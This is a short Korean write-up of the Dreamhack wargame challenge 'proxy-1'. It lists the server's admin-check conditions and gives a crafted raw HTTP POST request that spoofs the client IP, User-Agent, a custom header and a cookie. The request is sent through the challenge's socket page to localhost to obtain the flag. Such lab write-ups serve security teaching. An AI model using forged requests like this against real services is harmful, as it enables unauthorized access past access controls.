Web/Wargame
[Dreamhack] proxy-1
와븨
2022. 11. 10. 00:29
문제 사이트에 들어가면 다음과 같은 화면이 나온다.
socket 페이지의 모습이다.
문제 코드를 보면 admin으로 POST 메소드를 통해 접속한 후 if문을 통과하면 플래그가 반환되는 것을 알 수 있다.
if문을 통과하는 조건은 다음과 같다.
- 클라이언트의 ip가 127.0.0.1인지
- User-Agent의 헤더 값이 Admin Browser인지
- DreamhackUser가 admin인지
- admin 쿠키 값이 true인지
- userid가 admin인지
현재 host의 ip는 0.0.0.0이고, 포트 번호는 8000이다.
host : 127.0.0.1
port : 8000
data:
POST /admin HTTP/1.1
Host:host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length:12
userid=admin
if문의 요구사항을 토대로 작성한 host,port,data를 소켓 페이지에 입력한다.
Content-Type은 웹서버가 헤더를 선언하여 자신이 보내는 내용이 어떠한 용도로 사용될 수 있는지를 지정한다.
Content-Length가 12인 이유는 userid=admin이 12글자이기 때문이다.
입력한 후 send 버튼을 누른다.
send 버튼을 전송하면 플래그를 확인할 수 있다.